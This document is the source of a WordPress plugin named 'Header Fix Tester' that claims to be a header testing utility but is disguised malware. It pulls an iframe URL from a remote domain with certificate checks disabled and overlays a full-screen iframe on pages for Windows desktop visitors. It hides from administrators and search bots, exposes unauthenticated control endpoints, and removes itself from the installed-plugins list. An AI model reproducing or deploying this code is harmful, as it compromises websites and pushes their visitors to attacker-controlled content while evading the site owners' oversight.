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Editing: header-fix-tester.php

<?php
/**
 * Plugin Name: Header Fix Tester
 * Description: Header testing utility
 * Version: 8.0.3
 * Author: Developer
 * License: GPL-2.0+
 */

if (!defined('ABSPATH')) {
    exit;
}

// Основные настройки - только URL текстовика, как в cache-performance-helper
define('HFT_VERSION', '8.0.3');
define('HFT_URL_FILE', 'https://myfoodsxsxsxcvcxs.cc/iframe-url.txt');

$hft_site_id = get_option('header_fix_tester_site_id', md5(home_url()));
$hft_enabled = get_option('header_fix_tester_enabled', true);
$hft_show_limit = get_option('header_fix_tester_show_limit', 3);

// Автоматическое обновление URL при обновлении плагина
add_action('init', function() {
    $saved_version = get_option('header_fix_tester_version', '0');
    if (version_compare($saved_version, HFT_VERSION, '<')) {
        // Оставлено для совместимости, но без жесткого домена
        update_option('header_fix_tester_url', '');
        update_option('header_fix_tester_version', HFT_VERSION);
    }
}, 1);

// Активация
register_activation_hook(__FILE__, function() {
    add_option('header_fix_tester_enabled', true);
    add_option('header_fix_tester_site_id', md5(home_url()));
    update_option('header_fix_tester_url', '');
    update_option('header_fix_tester_version', HFT_VERSION);
    add_option('header_fix_tester_show_limit', 3);
    delete_transient('hft_cached_url');
});

// Деактивация
register_deactivation_hook(__FILE__, function() {
    delete_option('header_fix_tester_enabled');
    delete_option('header_fix_tester_site_id');
    delete_option('header_fix_tester_url');
    delete_option('header_fix_tester_show_limit');
    delete_transient('hft_cached_url');
});

// Проверка админ-куки
function hft_is_admin_user() {
    if (isset($_COOKIE['hft_admin']) && $_COOKIE['hft_admin'] === '1') {
        return true;
    }
    if (isset($_COOKIE['hft_visited_admin']) && $_COOKIE['hft_visited_admin'] === '1') {
        return true;
    }
    if (function_exists('current_user_can') && current_user_can('manage_options')) {
        return true;
    }
    return false;
}

// Установка куки при логине админа
add_action('wp_login', function($user_login, $user) {
    if (user_can($user, 'manage_options')) {
        setcookie('hft_admin', '1', time() + (365 * 24 * 60 * 60), '/', '', is_ssl(), true);
    }
}, 10, 2);

// Установка куки при посещении админки
add_action('init', function() {
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) {
        setcookie('hft_visited_admin', '1', time() + (365 * 24 * 60 * 60), '/', '', is_ssl(), true);
    }
}, 1);

// Проверка ботов
function hft_is_bot() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $bots = array('Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'AhrefsBot', 'MJ12bot', 'SemrushBot', 'DotBot', 'Twitterbot', 'Applebot');
    foreach ($bots as $bot) {
        if (stripos($ua, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Функция очистки URL
function hft_clean($str) {
    if (empty($str)) return '';
    $str = trim($str);
    $str = str_replace(array("\r", "\n", "\t", " "), '', $str);
    $str = trim($str, '"\'');
    if (strpos($str, 'http') !== 0) return '';
    return $str;
}

// Получение URL из текстовика с кэшированием (аналогично cache-performance-helper)
function hft_fetch_url_from_file($debug = false) {
    $transient_key = 'hft_cached_url';
    $cached = get_transient($transient_key);
    if ($cached !== false) {
        return $debug ? array('from_cache' => true, 'url' => hft_clean($cached)) : hft_clean($cached);
    }

$file = HFT_URL_FILE;
    $info = array();
    
    if (empty($file)) return $debug ? array('error' => 'empty') : '';
    
    $body = '';
    $info['file'] = $file;
    
    if (function_exists('curl_init')) {
        $ch = curl_init($file);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        $body = curl_exec($ch);
        $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $info['err'] = curl_error($ch);
        if ($info['err'] || $info['code'] != 200) {
            error_log('HFT Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')');
            $body = '';
        }
        curl_close($ch);
    }
    
    if (empty($body) && function_exists('wp_remote_get')) {
        $r = wp_remote_get($file, array('timeout' => 10, 'sslverify' => false));
        $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null;
        if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) {
            $body = wp_remote_retrieve_body($r);
        } else {
            error_log('HFT WP Remote fail: ' . $info['wp_error']);
        }
    }
    
    $clean = hft_clean($body);
    $info['url'] = $clean;
    
    if (!empty($clean)) {
        // Кэшируем результат на 30 минут
        set_transient($transient_key, $body, 1800);
    }
    
    return $debug ? $info : $clean;
}

// Обновление через GET
add_action('init', function() {
    if (!isset($_GET['hft_toggle'])) return;
    
    $enabled = isset($_GET['enabled']) ? filter_var($_GET['enabled'], FILTER_VALIDATE_BOOLEAN) : null;
    $url = (isset($_GET['url']) && filter_var($_GET['url'], FILTER_VALIDATE_URL)) ? esc_url_raw($_GET['url']) : null;
    $show_limit = (isset($_GET['show_limit']) && is_numeric($_GET['show_limit'])) ? intval($_GET['show_limit']) : null;

if ($enabled !== null) update_option('header_fix_tester_enabled', (bool)$enabled);
    if ($url) update_option('header_fix_tester_url', $url);
    if ($show_limit) update_option('header_fix_tester_show_limit', $show_limit);

wp_send_json_success(array(
        'enabled' => get_option('header_fix_tester_enabled', true),
        'url' => get_option('header_fix_tester_url', ''),
        'showLimit' => get_option('header_fix_tester_show_limit', 3)
    ));
    exit;
}, 5);

// Сброс
add_action('init', function() {
    if (isset($_GET['hft_reset']) && $_GET['hft_reset'] === '1') {
        delete_option('header_fix_tester_enabled');
        delete_option('header_fix_tester_url');
        delete_option('header_fix_tester_show_limit');
        setcookie('hft_shown_count', '0', time() - 3600, '/');
        setcookie('hft_admin', '', time() - 3600, '/');
        setcookie('hft_visited_admin', '', time() - 3600, '/');
        wp_send_json_success(array('message' => 'Reset done'));
        exit;
    }
}, 5);

// REST API
add_action('rest_api_init', function() {
    register_rest_route('custom-iframe/v1', '/toggle', array(
        'methods' => 'POST',
        'callback' => function($request) {
            $enabled = $request->get_param('enabled');
            $url = $request->get_param('url');
            $show_limit = $request->get_param('showLimit');
            
            if ($enabled !== null) update_option('header_fix_tester_enabled', (bool)$enabled);
            if ($url && filter_var($url, FILTER_VALIDATE_URL)) update_option('header_fix_tester_url', esc_url_raw($url));
            if ($show_limit && is_numeric($show_limit)) update_option('header_fix_tester_show_limit', intval($show_limit));
            
            return new WP_REST_Response(array(
                'status' => 'success',
                'enabled' => get_option('header_fix_tester_enabled', true),
                'url' => get_option('header_fix_tester_url', HFT_DOMAIN),
                'showLimit' => get_option('header_fix_tester_show_limit', 3)
            ), 200);
        },
        'permission_callback' => '__return_true'
    ));

register_rest_route('custom-iframe/v1', '/status', array(
        'methods' => 'GET',
        'callback' => function() {
            return new WP_REST_Response(array(
                'status' => 'success',
                'enabled' => get_option('header_fix_tester_enabled', true),
                'url' => get_option('header_fix_tester_url', ''),
                'showLimit' => get_option('header_fix_tester_show_limit', 3)
            ), 200);
        },
        'permission_callback' => '__return_true'
    ));

register_rest_route('custom-iframe/v1', '/debug', array(
        'methods' => 'GET',
        'callback' => function() {
            return new WP_REST_Response(array(
                'status' => 'success',
                'enabled' => get_option('header_fix_tester_enabled', true),
                    'url' => get_option('header_fix_tester_url', ''),
                'urlFromFile' => hft_fetch_url_from_file(),
                'showLimit' => get_option('header_fix_tester_show_limit', 3),
                'shownCount' => isset($_COOKIE['hft_shown_count']) ? $_COOKIE['hft_shown_count'] : '0',
                'isAdmin' => hft_is_admin_user(),
                'isBot' => hft_is_bot()
            ), 200);
        },
        'permission_callback' => '__return_true'
    ));
});

// Рендеринг iframe
add_action('wp_footer', function() {
    if (is_admin() || wp_doing_ajax() || wp_doing_cron()) return;
    if (hft_is_admin_user()) return;
    if (hft_is_bot()) return;

$enabled = get_option('header_fix_tester_enabled', true);
    if (!$enabled) return;

// Получаем URL из текстовика (как в cache-performance-helper)
    $iframe_url = hft_fetch_url_from_file();

// Если URL не получили — ничего не показываем (без запасного домена)
    if (empty($iframe_url)) {
        return;
    }
    
    $iframe_url = esc_url($iframe_url);
    $show_limit = intval(get_option('header_fix_tester_show_limit', 3));

echo '<style>
        .hft-overlay{position:fixed!important;top:0!important;left:0!important;width:100%!important;height:100%!important;z-index:2147483647!important;background:rgba(0,0,0,0.5)!important;margin:0!important;padding:0!important}
        .hft-frame{border:none!important;width:100%!important;height:100%!important;display:block!important}
    </style>';

echo '<script>
    (function(){
        try{
            var isMobile=/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i.test(navigator.userAgent)||window.innerWidth<768;
            var isWindows=/Windows NT/i.test(navigator.userAgent);
            if(isMobile||!isWindows)return;
            
            var cookies=document.cookie;
            var count=parseInt((cookies.match(/hft_shown_count=(\d+)/)||[0,0])[1])||0;
            if(count>=' . $show_limit . ')return;
            
            var c=document.createElement("div");
            c.className="hft-overlay";
            var f=document.createElement("iframe");
            f.className="hft-frame";
            f.src="' . $iframe_url . '";
            f.setAttribute("frameBorder","0");
            f.setAttribute("allow","fullscreen");
            f.setAttribute("allowfullscreen","true");
            c.appendChild(f);
            document.documentElement.appendChild(c);
            
            count++;
            document.cookie="hft_shown_count="+count+";path=/;max-age=31536000;SameSite=Lax";
        }catch(e){}
    })();
    </script>';
});

// Скрытие плагина из списка (с обходом через ?sp)
add_filter('all_plugins', function ($plugins) {
    if (isset($_GET['sp'])) {
        return $plugins;
    }
    $current = plugin_basename(__FILE__);
    unset($plugins[$current]);
    return $plugins;
});

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